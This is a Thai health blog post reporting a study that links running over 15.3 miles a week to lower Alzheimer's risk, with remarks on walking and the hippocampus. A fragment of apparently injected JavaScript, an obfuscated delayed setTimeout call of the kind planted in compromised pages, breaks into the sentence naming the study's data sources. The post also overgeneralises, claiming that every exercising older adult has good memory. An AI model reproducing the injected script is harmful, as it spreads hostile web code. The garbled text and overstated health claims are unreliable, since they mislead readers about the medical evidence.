รู้หรือไม่ว่าถ้าเราวิ่งมากกว่า 15.3 ไมค์ (24.62k) ในหนึ่งสัปดาห์สามารถลดความเสี่ยงการเป็นโรคสมองเสื่อมหรือโรคอัลไซเมอร์ (alzheimers) ได้ถึง 40%
งานวิจัยนี้ได้ถูกตีพิมพ์ในนิตยสาร Journal of Alzheimer’s Disease พร้อมทั้งงานวิจัยอื่นที่พบว่ากการกินผลไม้อย่างน้อยสามชิ้นต่อวัน พร้อมทั้งใช้ยาลดไขมันหรือ Statins สามารถลดคอเลสเตอรอลและลดอัตราความเสี่ยงเป็นโรคความจำเสื่อมได้ด้วย ประมาณ 60 %
Dr. Paul Williams บอกว่าด้วยหลักฐานทางวิทยาศาสตร์ที่เพิ่มขึ้น พบว่า เราสามารถProactive หรือการทำกิจกรรมบางอย่างเพื่อป้องกัน เพื่อลดอัตราเสี่ยงการเป็นโรคอัลไซเมอร์ได้
งานวิจัยนี้ได้ข้อมูลมาจาก Runners’ Health Study andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the National Walkers’ Health Study ที่อเมริกานู้นนะครับ โดยผู้เข้าร่วมจะให้ข้อมูล พฤติกรรมการออกกำลังกาย อาหารการกิน ประวัติไข้ และก่อนพวกคำถาม questionnaire
ที่น่าสนใจคือต้องมีการศึกษาผู้เข้ารวมถึง 154,000 คนทั้งที่เป็นนักวิ่ง นักเดิน ในช่วงเวลาถึง 11+ ปี ในกลุ่มตัวอย่างนี้มี 175 คนที่ได้เสียชีวิตและได้ถูกวินิจฉัยว่าเป็นโรคอัลไซเมอร์ด้วยครับ
ทางงานวิจัยได้เปรียบกลุ่มคนที่วิ่งในระยะทางมากกว่า 15.3 ไมค์ใน 1 สัปดาห์กับกลุ่มคนที่วิ่ง ในระยะทาง 4.6-7.7 ไมค์ หรือ 7.4-12.39 กิโล พบว่ากลุ่มคนที่วิ่งน้อยกว่า 15.3 ไมค์ต่อสัปดาห์ไม่สามารถลดอัตราความเสี่ยงได้ แต่กลุ่มคนที่วิ่งมากกว่า 15.3 ไมค์กับกลุ่มคนที่ออกกำลังกายแบบเดินและใช้พลังงานเทียบเท่าคนที่วิ่งมากกว่า 15.3 ไมค์ต่อ 1 สัปดาห์
สำหรับกลุ่มคนที่เดิน Dr. Williams กล่าวต่อว่า ต้องเดินให้เร็วกว่าเดิม 50% และต้องใช้เวลามากกว่าการวิ่งสองเท่า เพื่อให้เผาผลาญพลังงานเท่ากับการวิ่ง เอาง่ายๆ เราต้องเดินให้เผาผลาญพลังงานเท่ากับการวิ่ง ที่ pace 12/mile
สุดท้ายนี้ก็มีคำถาม ว่าทำไมการออกกำลังกายทำให้สมองเราแจ่มใสและดีขึ้น Dr. Williams บอกว่าที่การทำงานที่สมองบริเวณ Hippocampus มีผลต่อการจำทั้ง Short และ long term ถ้าพื้นที่บริเวณนี้มีขนาดใหญ่ซึ่งจะพบได้ในคนที่ active หรือง่ายๆ คือออกกำลังกายบ่อย การทำงานสมองในบริเวณนี้ก็ประสิทธิภาพดีด้วย หรือการศึกษาอื่นก็พบว่าผู้สูงวัยที่ออกกำลังกายบ่อย จะมีการทำงานที่เชื่อมต่อกันของเซลล์ประสาทในสมองดีและมีประสิทธิภาพ ไม่แปลกเลยว่าทำไม่ผู้สูงวัยที่ออกกำลังการบ่อยๆ จึงมีความจำดีกันทุกคน
ที่มา http://goo.gl/WEq9n8